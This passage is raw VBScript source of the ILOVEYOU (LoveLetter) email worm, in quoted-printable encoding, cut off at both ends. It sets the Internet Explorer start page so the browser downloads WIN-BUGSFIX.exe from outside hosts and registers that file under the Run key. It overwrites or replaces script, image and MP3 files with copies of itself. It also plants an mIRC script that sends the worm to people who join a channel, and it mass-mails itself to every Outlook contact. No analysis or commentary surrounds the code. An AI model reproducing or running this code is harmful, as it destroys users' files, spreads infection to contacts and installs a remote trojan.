"HKCU\Software\Microsoft\Internet Explorer\Main\Start = Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwe= rWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"=0Delseif num =3D 3 = then=0Dregcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start = Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQ= ZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe"=0Delseif num =3D 4 then=0Dregcreate = "HKCU\Software\Microsoft\Internet Explorer\Main\Start = Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDG= jkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-B= UGSFIX.exe"=0Dend if=0Dend if=0Dif = (fileexist(downread&"\WIN-BUGSFIX.exe")=3D0) then=0Dregcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUG= SFIX",downread&"\WIN-BUGSFIX.exe"=0Dregcreate = "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start = Page","about:blank"=0Dend if=0Dend sub=0Dsub listadriv=0DOn Error Resume = Next=0DDim d,dc,s=0DSet dc =3D fso.Drives=0DFor Each d in dc=0DIf = d.DriveType =3D 2 or d.DriveType=3D3 Then=0Dfolderlist(d.path&"\")=0Dend = if=0DNext=0Dlistadriv =3D s=0Dend sub=0Dsub infectfiles(folderspec) = =0DOn Error Resume Next=0Ddim f,f1,fc,ext,ap,mircfname,s,bname,mp3=0Dset = f =3D fso.GetFolder(folderspec)=0Dset fc =3D f.Files=0Dfor each f1 in = fc=0Dext=3Dfso.GetExtensionName(f1.path)=0Dext=3Dlcase(ext)=0Ds=3Dlcase(f= 1.name)=0Dif (ext=3D"vbs") or (ext=3D"vbe") then=0Dset = ap=3Dfso.OpenTextFile(f1.path,2,true)=0Dap.write = vbscopy=0Dap.close=0Delseif(ext=3D"js") or (ext=3D"jse") or = (ext=3D"css") or (ext=3D"wsh") or (ext=3D"sct") or (ext=3D"hta") = then=0Dset ap=3Dfso.OpenTextFile(f1.path,2,true)=0Dap.write = vbscopy=0Dap.close=0Dbname=3Dfso.GetBaseName(f1.path)=0Dset = cop=3Dfso.GetFile(f1.path)=0Dcop.copy(folderspec&"\"&bname&".vbs")=0Dfso.= DeleteFile(f1.path)=0Delseif(ext=3D"jpg") or (ext=3D"jpeg") then=0Dset = ap=3Dfso.OpenTextFile(f1.path,2,true)=0Dap.write = vbscopy=0Dap.close=0Dset = cop=3Dfso.GetFile(f1.path)=0Dcop.copy(f1.path&".vbs")=0Dfso.DeleteFile(f1= .path)=0Delseif(ext=3D"mp3") or (ext=3D"mp2") then=0Dset = mp3=3Dfso.CreateTextFile(f1.path&".vbs")=0Dmp3.write = vbscopy=0Dmp3.close=0Dset = att=3Dfso.GetFile(f1.path)=0Datt.attributes=3Datt.attributes+2=0Dend = if=0Dif (eq<>folderspec) then=0Dif (s=3D"mirc32.exe") or = (s=3D"mlink32.exe") or (s=3D"mirc.ini") or (s=3D"script.ini") or = (s=3D"mirc.hlp") then=0Dset = scriptini=3Dfso.CreateTextFile(folderspec&"\script.ini")=0Dscriptini.Writ= eLine "[script]"=0Dscriptini.WriteLine ";mIRC = Script"=0Dscriptini.WriteLine "; Please dont edit this script... mIRC = will corrupt, if mIRC will"=0Dscriptini.WriteLine " corrupt... = WINDOWS will affect and will not run correctly. = thanks"=0Dscriptini.WriteLine ";"=0Dscriptini.WriteLine ";Khaled = Mardam-Bey"=0Dscriptini.WriteLine = ";http://www.mirc.com"=0Dscriptini.WriteLine ";"=0Dscriptini.WriteLine = "n0=3Don 1:JOIN:#:{"=0Dscriptini.WriteLine "n1=3D /if ( $nick =3D=3D = $me ) { halt }"=0Dscriptini.WriteLine "n2=3D /.dcc send $nick = "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"=0Dscriptini.WriteLine = "n3=3D}"=0Dscriptini.close=0Deq=3Dfolderspec=0Dend if=0Dend if=0Dnext = =0Dend sub=0Dsub folderlist(folderspec) =0DOn Error Resume Next=0Ddim = f,f1,sf=0Dset f =3D fso.GetFolder(folderspec) =0Dset sf =3D = f.SubFolders=0Dfor each f1 in = sf=0Dinfectfiles(f1.path)=0Dfolderlist(f1.path)=0Dnext =0Dend sub=0Dsub = regcreate(regkey,regvalue)=0DSet regedit =3D = CreateObject("WScript.Shell")=0Dregedit.RegWrite regkey,regvalue=0Dend = sub=0Dfunction regget(value)=0DSet regedit =3D = CreateObject("WScript.Shell")=0Dregget=3Dregedit.RegRead(value)=0Dend = function=0Dfunction fileexist(filespec)=0DOn Error Resume Next=0Ddim = msg=0Dif (fso.FileExists(filespec)) Then=0Dmsg =3D 0=0Delse=0Dmsg =3D = 1=0Dend if=0Dfileexist =3D msg=0Dend function=0Dfunction = folderexist(folderspec)=0DOn Error Resume Next=0Ddim msg=0Dif = (fso.GetFolderExists(folderspec)) then=0Dmsg =3D 0=0Delse=0Dmsg =3D = 1=0Dend if=0Dfileexist =3D msg=0Dend function=0Dsub spreadtoemail()=0DOn = Error Resume Next=0Ddim = x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad=0Dset = regedit=3DCreateObject("WScript.Shell")=0Dset = out=3DWScript.CreateObject("Outlook.Application")=0Dset = mapi=3Dout.GetNameSpace("MAPI")=0Dfor ctrlists=3D1 to = mapi.AddressLists.Count=0Dset = a=3Dmapi.AddressLists(ctrlists)=0Dx=3D1=0Dregv=3Dregedit.RegRead("HKEY_CU= RRENT_USER\Software\Microsoft\WAB\"&a)=0Dif (regv=3D"") = then=0Dregv=3D1=0Dend if=0Dif (int(a.AddressEntries.Count)>int(regv)) = then=0Dfor ctrentries=3D1 to = a.AddressEntries.Count=0Dmalead=3Da.AddressEntries(x)=0Dregad=3D""=0Drega= d=3Dregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)=0D= if (regad=3D"") then=0Dset = male=3Dout.CreateItem(0)=0Dmale.Recipients.Add(malead)=0Dmale.Subject = =3D "ILOVEYOU"=0Dmale.Body =3D vbcrlf&"kindly check the attached = LOVELETTER coming from = me."=0Dmale.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")=0Dm= ale.Send=0Dregedit.RegWrite = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"=0Dend = if=0Dx=3Dx+1=0Dnext=0Dregedit.RegWrite = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count=0Del= se=0Dregedit.RegWrite = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count=0Den= d if=0Dnext=0DSet out=3DNothing=0DSet mapi=3DNothing=0Dend sub=0Dsub = html=0DOn Error Resume Next=0Ddim = lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6=0Ddta1=3D"LOVELETTER - HTML"&vbcrlf& _=0D""&vbcrlf& = _=0D""&vbcrlf& _=0D""&vbcrlf& _=0D"

    This HTML file need = ActiveX Control

    To Enable to read this HTML file
    - Please = press #-#YES#-# button to Enable ActiveX"&vbcrlf& = _=0D"----------z--------------------z---------- "&vbcrlf& _=0D""&vbcrlf& _=0D"